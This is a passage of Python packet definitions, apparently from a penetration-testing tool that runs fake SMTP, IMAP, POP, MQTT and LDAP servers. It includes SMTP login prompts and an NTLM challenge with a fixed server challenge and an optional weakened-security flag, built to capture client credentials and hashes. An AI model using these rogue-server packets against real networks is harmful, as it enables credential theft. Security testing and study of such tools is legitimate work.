CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = StructWithLenPython2or3("<i",len(CalculateSSPI))[:2]
# Target Name Offsets
self.fields["TargetNameOffset"] = StructWithLenPython2or3("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
# AvPairs Offsets
self.fields["TargetInfoOffset"] = StructWithLenPython2or3("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
# AvPairs StrLen
self.fields["Av1Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av5Str"])))[:2]
##### SMTP Packets #####
class SMTPGreeting(Packet):
fields = OrderedDict(
[
("Code", "220"),
("Separator", "\x20"),
("Message", f"{settings.Config.DomainName} ESMTP"),
("CRLF", "\x0d\x0a"),
]
)
class SMTPAUTH(Packet):
fields = OrderedDict([
("Code0", "250"),
("Separator0", "\x2d"),
("Message0", settings.Config.DomainName),
("CRLF0", "\x0d\x0a"),
("Code", "250"),
("Separator", "\x20"),
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH1(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "VXNlcm5hbWU6"),#Username
("CRLF", "\x0d\x0a"),
])
class SMTPAUTH2(Packet):
fields = OrderedDict([
("Code", "334"),
("Separator", "\x20"),
("Message", "UGFzc3dvcmQ6"),#Password
("CRLF", "\x0d\x0a"),
])
class IMAPGreeting(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])
class MQTTv3v4ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x02"),
("Session", "\x00"),
("Code", "\x04"),
])
class MQTTv5ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x03"),
("Session", "\x00"),
("Code", "\x86"),
("Prop", "\x00"),
])
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
class POPNotOKPacket(Packet):
fields = OrderedDict([
("Code", "-ERR"),
("CRLF", "\r\n"),
])
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLen", "\x0c"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x0f"),
("OpHeadASNID", "\x65"),
("OpHeadASNIDLen", "\x07"),
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
])
class LDAPSearchSupportedCapabilitiesPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x15"),#21
("SearchAttribASN2Str", "supportedCapabilities"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x16"),#22
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x17"),#23
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x17"),#23
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPSearchSupportedMechanismsPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x17"),#23
("SearchAttribASN2Str", "supportedSASLMechanisms"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x06"),#6
("SearchAttrib1ASNStr", "GSSAPI"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x0a"),#10
("SearchAttrib2ASNStr", "GSS-SPNEGO"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x08"),#8
("SearchAttrib3ASNStr", "EXTERNAL"),
("SearchAttrib4ASNID", "\x04"),
("SearchAttrib4ASNLen", "\x0a"),#10
("SearchAttrib4ASNStr", "DIGEST-MD5"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPNTLMChallenge(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x61"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
("Status", "\x0A"),
("StatusASNLen", "\x01"),
("StatusASNStr", "\x0e"), #In Progress.
("MatchedDN", "\x04\x00"), #Null
("ErrorMessage", "\x04\x00"), #Null
("SequenceHeader", "\x87"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\x82"), #188
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),